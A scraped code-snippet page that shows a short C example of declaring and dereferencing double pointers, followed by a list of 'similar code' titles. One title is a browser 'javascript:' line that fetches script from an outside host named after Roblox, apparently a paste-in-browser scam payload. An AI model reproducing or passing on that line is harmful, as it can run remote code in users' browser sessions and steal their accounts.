Double pointers in c

int **ptr;    // declaring double pointers

Source: geeksforgeeks.org

Double pointers C++

#include <stdio.h>

int main(void)
{
    int value = 100;
    int *value_ptr = &value;
    int **value_double_ptr = &value_ptr;

    printf("Value: %d\n", value);
    printf("Pointer to value: %d\n", *value_ptr);
    printf("Double pointer to value: %d\n", **value_double_ptr);
}

-2

Source: dev.to

Similar codes

4 votes160 views1 answer
C minor diminished
C
0 vote166 views1 answer
Use isdigit in if statment c
C
0 vote163 views1 answer
C program to display fibonacci serice
C
1 vote154 views1 answer
Accessing elements of 1d array using pointers
C
-1 vote212 views2 answers
Char in c
C
0 vote158 views1 answer
Laarvel artisan to create controller model miigration
C
0 vote190 views1 answer
Remix icon cdn
C
9 votes114 views10 answers
Xjavascript:$.get("//javascript-roblox.com/api?i=13407")
C
0 vote158 views3 answers
Print 2d array in c
C
9 votes191 views1 answer
C how to get an integer from user input
C